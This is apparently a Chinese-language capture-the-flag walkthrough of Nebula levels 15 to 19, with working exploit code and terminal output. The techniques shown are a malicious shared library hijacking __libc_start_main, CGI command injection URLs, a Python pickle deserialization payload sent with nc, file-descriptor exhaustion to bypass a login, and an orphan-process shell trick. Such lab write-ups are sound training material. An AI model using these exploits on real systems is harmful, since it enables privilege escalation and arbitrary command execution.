ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0 mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78a4000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000 mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000 mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78a3000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78a38d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x286000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x77a000, 4096, PROT_READ) = 0 munmap(0xb78a4000, 33815) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78ac000 write(1, "strace it!\n", 11strace it! ) = 11 exit_group(11) = ?
执行顺序我们看到了,先execve,还要申请内存,跟着还要看看有无有权限运行ld.so.xx文件
跟着尝试在/var/tmp/flag15/目录下寻找libc.so.6
最后才是系统默认的路径/lib/i386-linux-gnu/libc.so.6
之后还是mmap申请内存,再mprotect设置设置内存访问权限,最后再去执行main中的write函数
最后exit_group退出
看了下ida,puts还是要调用write函数咯
那我们只要在上面那些No such file or directory的目录上放一个恶意的libc.so.6
而且我们有全部权限,如下
运行去哪个地方查找,应该是在编译的时候指定了选项,确实
level15@nebula:/home/flag15$ objdump -p flag15 flag15: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x ...... Dynamic Section: NEEDED libc.so.6 RPATH /var/tmp/flag15 .......
ld关于这部分的选项主要有三个,分别是-L、-rpath-link和-rpath,其中前两个都是在链接的时候用到的,而-rpath则是运行的时候去寻找
看了看网上的基本都是劫持__libc_start_main
#include<stdio.h> int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { setreuid(geteuid(),geteuid()); execve("/bin/bash", NULL, NULL); return 0; }
level15@nebula:/var/tmp/flag15$ cat version GLIBC_2.0 {}; level15@nebula:/var/tmp/flag15$ cat libc.c #include<stdio.h> int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { setreuid(geteuid(),geteuid()); execve("/bin/bash", NULL, NULL); return 0; } level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o /var/tmp/flag15/libc.so.6 level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 flag15@nebula:/var/tmp/flag15$ getflag You have successfully executed getflag on a target account
当然还有劫持其他函数的
比如共享库本身加载时候需要执行的函数
__attribute__((constructor)) void init(void) { … }
__attribute__((destructor)) void fini(void) { … }
level16
There is a perl script running on port 1616.
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
是一个登陆的脚本,对username转化为大写,去掉空格
又是命令注入,我的又访问不了那个链接(原来发现时vm虚拟机的问题)
/usr/sbin/thttpd -C /home/flag16/thttpd.conf
没的话这样启动就好了
方法1
发现我这里不行,但是可以学到知识
都转化成大写了,我们怎么转化为小写呢
level16@nebula:/home/flag16$ a="GIANTBRANCH" level16@nebula:/home/flag16$ echo ${a,} gIANTBRANCH level16@nebula:/home/flag16$ echo ${a,,} giantbranch
新建个脚本文件/tmp/flag16
level16@nebula:/tmp$ cat flag16 getflag > /tmp/getflag16
访问不行
http://192.168.253.169:1616/index.cgi?username="</DEV/NULL;CMD=/TMP/FLAG16;${CMD,,};#&password=123
方法2
http://192.168.253.169:1616/index.cgi?username=`/*/FLAF16`&password=123
这应该是匹配任意目录下的FLAG16文件
/tmp/FLAG16就执行getflag的脚本
level16@nebula:/tmp$ cat FLAF16 getflag > /tmp/getflag16
level16@nebula:/tmp$ cat getflag16 You have successfully executed getflag on a target account
level17
There is a python script listening on port 10007 that contains a vulnerability.
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
python的pickle模块实现了基本的数据序列和反序列化。
pickle 在 python 中可以用来持久存储对象。就是把对象按照一定
的格式保存在文件中,在另外的脚本中使用 pickle.load 或者 pickle.loads 即可重新使用这些对象, load
和 loads 函数不同之处是 load 处理存储在文件里的 pickle 格式数据, loads 则是处理字符串表达的
pickle 格式的数据。
那么这里应该是反序列化的问题的
http://static.hx99.net/static/drops/papers-66.html
稍微学一下,S代表是字符串吧,p0是代表没有参数吗 .代表结束
类似于php的wakeup魔术方法,python也有其自己的方法,例如__reduce__,可以在被反序列化的时候执行。
我看了别人有代码的
from cPickle import dumps from os import system class Exploit(object): def __reduce__(self): return (system, ('getflag > /tmp/flag17',)) r = dumps(Exploit()) print r
将上面的输出保存到文件,nc发过去就行了
p1应该是第一个参数,p2-p4都没有,
据说:
t 操作码则是从栈顶开始弹出所有值,包括 MARK 对象。 (但感觉是压入啊)
R 则 pop 栈顶两项内容
level17@nebula:~$ cat getflag cposix system p1 (S'getflag > /tmp/flag17' p2 tp3 Rp4 .
level17@nebula:~$ cat getflag | nc 127.0.0.1 10007 Accepted connection from 127.0.0.1:49669 ^C level17@nebula:~$ cat /tmp/flag17 You have successfully executed getflag on a target account
看看别人的payload,c表示导入模块,这里导入模块,第二个是要调用的函数,之后是字符串参数,tR不知道是啥
当然也是可以的
cos system (S'getflag > /tmp/flag17' tR.
level18
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
看着有3中方法啊,代码挺长啊
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
这程序有-d和-v两个参数
跟着接下来有很多选项,都是用了安全比较函数strcmp
我们发现只要我们是登陆的,即globals.loggedin为非0,我们就可以执行shell
第一个漏洞:资源未释放漏洞
网站提示给的源码34行里面有fclose(fp),但是ida里面看不到的
资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放
资源,这个漏洞出现在 login 函数中,因为调用了 fopen ,但并没有调用 fclose 释放资源。如果 25 行的
if(fp) 为假, globals.loggedin 将会被赋值为 1 , globals.loggedin=1 表示的是成功登录。导致 fp 返回空
的原因有很多,比如句柄用完了、没有权限操作指定的文件等等。
就搞这个吧
那我们用完句柄,导致fp为假,不就绕过了密码验证的if吗
首先, Linux 默认情况下,一个进程只可以打开 1024 个句柄,可以通过 ulimit -n 命令查看
当然-a也可以
我们改成5个,减去0 1 2这几个标准输入输出和错误的句柄,如果我们再搞个debug file,我们登陆第2次就登陆成功了
看了一下调用的地方,dvprintf需要verbose>=3就可以将很多调试信息输出
别人的语句,将debug信息输出到tty终端
level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -vvv Starting up. Verbose level = 3 login got [login] as input attempting to login login got [login] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell ./flag18: -d: invalid option Usage:./flag18 [GNU long option] [option] ... ./flag18 [GNU long option] [option] script-file ... GNU long options: --debug --debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --protected --rcfile --restricted --verbose --version Shell options: -irsD or -c command or -O shopt_option(invocation only) -abefhkmnptuvxBCHP or -o option
我们关闭debug文件句柄,以便释放出来给shell使用,但是执行/bin/sh时报错
那么我们从给出的参数中找咯
发现–init-file和–rcfile是可以的
level18@nebula:/home/flag18$ ulimit -n 5 level18@nebula:/home/flag18$ /home/flag18/flag18 --init-file -d /dev/tty -vvv /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'n' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 't' /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' Starting up. Verbose level = 3 login got [login] as input attempting to login login got [login] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell id uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18) getflag You have successfully executed getflag on a target account
或者
level18@nebula:~$ /home/flag18/flag18 --rcfile -d /dev/tty -vvv /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'r' /home/flag18/flag18: invalid option -- 'c' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' Starting up. Verbose level = 3 login got [login] as input attempting to login login got [login] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell getflag You have successfully executed getflag on a target account
参考:http://73696e65.github.io/blog/2015/06/20/exploit-exercises-nebula-16-19/
后面两个有空再研究
第二个漏洞:字符串格式化漏洞
notsupported函数存在字符串格式化漏洞
但
第三个漏洞:缓冲区溢出漏洞
void setuser(char *user)存在缓冲区溢出,msg128字节,line256字节
但…
又有NX又有CANARY,困难啊
解决checksec.sh报错
./checksec.sh: /bin/bash^M: bad interpreter: No such file or directory
作者编写应该在windows下编写,但我们在linux系统里执行的,而sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。
在vi或者vim打开后
:set ff=unix
level19
There is a flaw in the below program in how it operates.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
首先通过 getppid() 得到父进程 pid 号,然后再根据这个
pid 号找到 /proc 下为当前 pid 号的文件夹,如果这个文件夹属于 root 身份的,就执行 shell 。
首先通过gdb调试,不行
Linux 中的进程有父子关系,当子进程销毁时,父进程需要回收
它。如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养
它的是 init 进程,init是有root启动的
使用了人家的代码
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中 if(pid == 0) // 如果 pid==0 ,则是子进程 { execve("/home/flag19/flag19",argvs,NULL); }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了 exit(0); } return 0; }
level19@nebula:~$ gcc getflag.c -o getflag19 level19@nebula:~$ ./getflag19 level19@nebula:~$ cat /tmp/flag19 You have successfully executed getflag on a target account
最后看一下getflag程序的实现
int __cdecl main(int argc, const char **argv, const char **envp) { __uid_t euid; // eax@1 struct passwd *v4; // eax@1 bool v5; // zf@1 struct passwd *v6; // esi@1 char *pw_name; // eax@2 const char *v8; // edi@2 signed int v9; // ecx@2 char *v10; // esi@2 const char *v11; // edi@6 signed int v12; // ecx@6 char *v13; // esi@6 int result; // eax@10 euid = geteuid(); v4 = getpwuid(euid);// getpwuid 根据传入的用户ID返回指向passwd的结构体 该结构体初始化了里面的所有成员 v5 = v4 == 0; v6 = v4; if ( !v4 ) err(1, "getpwuid couldn't find account"); pw_name = v4->pw_name; v8 = "root"; v9 = 5; v10 = v6->pw_name; do { if ( !v9 ) break; v5 = *v10++ == *v8++; --v9; } // 判断当前用户是否是root用户 while ( v5 ); if ( v5 ) { puts("While you got root, that wasn't the intended target :-)"); exit(1); } v11 = "flag"; v12 = 4; v13 = pw_name; do { if ( !v12 ) break; v5 = *v13++ == *v11++; --v12; } // 判断当前用户名的前四个字符是否为flag while ( v5 ); if ( v5 ) result = puts("You have successfully executed getflag on a target account"); else result = puts("getflag is executing on a non-flag account, this doesn't count"); return result; }
所以我们调试一下也可以破解getflag,不过getflag只是验证我们提权没有
(gdb) b *0x0804842A Breakpoint 2 at 0x804842a (gdb) i b Num Type Disp Enb Address What 2 breakpoint keep y 0x0804842a <main+58> (gdb) r Starting program: /bin/getflag Breakpoint 2, 0x0804842a in main () (gdb) i r eax 0x804b008134524936 ecx 0x44 edx 0xbffff748-1073744056 ebx 0x2a8ff42789364 esp 0xbffff7600xbffff760 ebp 0xbffff7780xbffff778 esi 0x804b009134524937 edi 0x80486e9134514409 eip 0x804842a0x804842a <main+58> eflags 0x287[ CF PF SF IF ] cs 0x73115 ss 0x7b123 ds 0x7b123 es 0x7b123 fs 0x00 gs 0x3351 (gdb) set $eax=0x80486e9 (gdb) x /s 0x80486e9 0x80486e9: "flag" (gdb) c Continuing. You have successfully executed getflag on a target account [Inferior 1 (process 2380) exited with code 073]